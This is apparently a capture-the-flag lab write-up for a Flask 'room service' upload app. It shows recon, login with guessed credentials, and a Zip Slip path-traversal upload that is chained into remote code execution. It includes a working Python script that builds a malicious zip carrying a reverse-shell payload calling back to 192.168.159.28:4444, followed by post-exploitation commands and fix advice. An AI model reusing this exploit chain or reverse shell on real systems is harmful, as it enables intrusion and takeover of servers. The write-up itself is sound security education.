Overview
The Hollow Shell is a Flask app ("Shoreline Display - Room Service") that lets an
authenticated concierge upload themed "shells" as .zip archives. Each
archive must contain a shell.json manifest, and optionally an assets
list plus an undocumented hooks field described only as "automation
hooks" applied by a background "theme worker." The archive is extracted
server-side with no path sanitization, giving arbitrary file write via
Zip Slip. Combined with the hooks field being executed as a shell command
by the worker process, this chains into full RCE as the roomservice
user.
Recon
nmap -A -Pn 10.48.182.209
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Gunicorn
|_http-server-header: gunicorn
| http-title: Byte Lotus \xE2\x80\x94 Room Service
|_Requested resource was /login
Gunicorn on 5000 redirecting to /login - a Flask app behind a WSGI
server. SSH open but no creds yet, so 5000 is the way in.
Authentication
Default/guessed creds worked on /login:
curl -c cookies.txt http://10.48.182.209:5000/login -d 'username=concierge&password=StayNoticed2024!'
Session cookie in hand, /dashboard rendered the upload panel:
Found something on the beach? Upload it as a shell (a .zip souvenir pack)
to set the ambiance on the in-room tablets. Each shell must contain a
shell.json manifest listing its assets (images, stylesheets).
A shell may include optional automation hooks - the theme worker applies
these for you shortly after the shell comes ashore, so you don't have to
touch each tablet by hand. Allowed asset types: png jpg gif svg css json.
Two things stood out immediately: a required manifest filename
(shell.json) and an unexplained hooks mechanism processed by a
separate worker.
Mapping the upload flow
First upload attempt used a wrongly-named manifest (test.json) and
silently failed to register - the app requires the exact filename
shell.json at the zip root:
printf '{"name":"test", "assets":[]}' > shell.json
zip test.zip shell.json
curl -b cookies.txt -F "shell=@test.zip" http://10.48.182.209:5000/upload
curl -b cookies.txt http://10.48.182.209:5000/dashboard
<li>
<span class="name">test</span>
<span class="id">shells/8d23a80c3894/</span>
</li>
The id field is a directory path. Files inside it are served by exact
filename (no directory index):
curl -b cookies.txt http://10.48.182.209:5000/shells/8d23a80c3894/shell.json
{"name":"test", "assets":[]}
Zip Slip - confirming arbitrary write
Extraction uses each zip member's raw path with no os.path.basename()
or normalization. A relative traversal entry alongside a valid
shell.json (so the archive still registers) proved this:
import zipfile
with zipfile.ZipFile('evil8.zip', 'w') as z:
z.writestr('shell.json', '{"name":"slip7","assets":[]}')
z.writestr('../../static/poc.txt', 'PWNED_STATIC')
curl -b cookies.txt -F "shell=@evil8.zip" http://10.48.182.209:5000/upload
curl -b cookies.txt http://10.48.182.209:5000/static/poc.txt
PWNED_STATIC
This confirmed:
-
shells/<id>/sits two directory levels below the app root - No sanitization on extraction - a raw
zipfile.extractall()-style write, or manual path join with no traversal check -
../../static/lands in the real Flaskstatic/directory, which is directly web-servable - giving an easy read-back oracle for further tests
(Absolute paths and multi-level ....// traversal were also tried
before this and consistently 404'd - the ../../ relative form was
what worked here.)
From write primitive to command execution
The hooks field in shell.json accepted arbitrary keys without
rejecting the upload (e.g. {"hooks":{"pre":"id"}} uploaded and
persisted cleanly), but no observable side effect confirmed execution on
its own. Rather than keep guessing the schema blind, the write primitive
from Zip Slip was reused to drop a script into a hooks/ directory two
levels above the extraction folder, referenced from the manifest:
import zipfile, json
manifest = {
"name": "reverse",
"assets": [],
"hooks": {"pre": "python3 hooks/callback.py"}
}
callback = '''import socket,os,pty
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(("192.168.159.28",4444))
for fd in (0,1,2):
os.dup2(sock.fileno(),fd)
pty.spawn("/bin/bash")
'''
with zipfile.ZipFile("reverse-shell.zip", "w") as z:
z.writestr("shell.json", json.dumps(manifest))
z.writestr("../../hooks/callback.py", callback)
curl -b cookies.txt -F "shell=@reverse-shell.zip" http://10.48.182.209:5000/upload
Listener caught a shell within seconds of upload, confirming the theme
worker executes the hooks.pre value as a shell command shortly after a
new shell lands:
[+] [New Reverse Shell] => tryhackme-2404 10.48.182.209 Linux-x86_64
roomservice(996) Session ID <1>
Post-exploitation
roomservice@tryhackme-2404:/var/www/conch$ id
uid=996(roomservice) gid=996(roomservice) groups=996(roomservice)
roomservice@tryhackme-2404:/var/www/conch$ ls
__pycache__ app.py hooks requirements.txt shells static templates theme_worker.py venv
The directory listing confirms the guessed architecture:
app.py (Flask handlers), a separate theme_worker.py (the background
process polling shells/ and executing hooks), and hooks/ as a real,
attacker-writable directory one level short of what was traversed to
(confirming the app root is exactly two levels above shells/<id>/).
roomservice@tryhackme-2404:/var/www/conch$ cat /home/roomservice/flag.txt
THM{REDACTED}
Root cause
-
Zip Slip - zip extraction trusted member paths verbatim, allowing
writes anywhere the process had permissions relative to
shells/<id>/. -
Unsandboxed hook execution -
theme_worker.pyreadshooks.pre(or a referenced script) from user-supplied manifests and executes it as a shell command with no allowlist, sandboxing, or validation.
Either flaw alone would have been serious; together they turn an
"upload a themed zip" feature into unauthenticated-adjacent (single
low-privilege session) RCE.
Fix recommendations
- Sanitize every zip member path on extraction: reject entries containing
.., absolute paths, or resolve each target path and verify it stays within the intended extraction directory before writing. - Never execute user-controlled strings as shell commands. If hooks are a required feature, use a fixed, non-executable declarative format (e.g. a small allowlist of named theme operations) rather than passing arbitrary strings to a shell.
- Run the extraction and worker processes with the minimum filesystem permissions needed - a chrooted or containerized extraction target would have contained this even with the traversal bug present.
Top comments (0)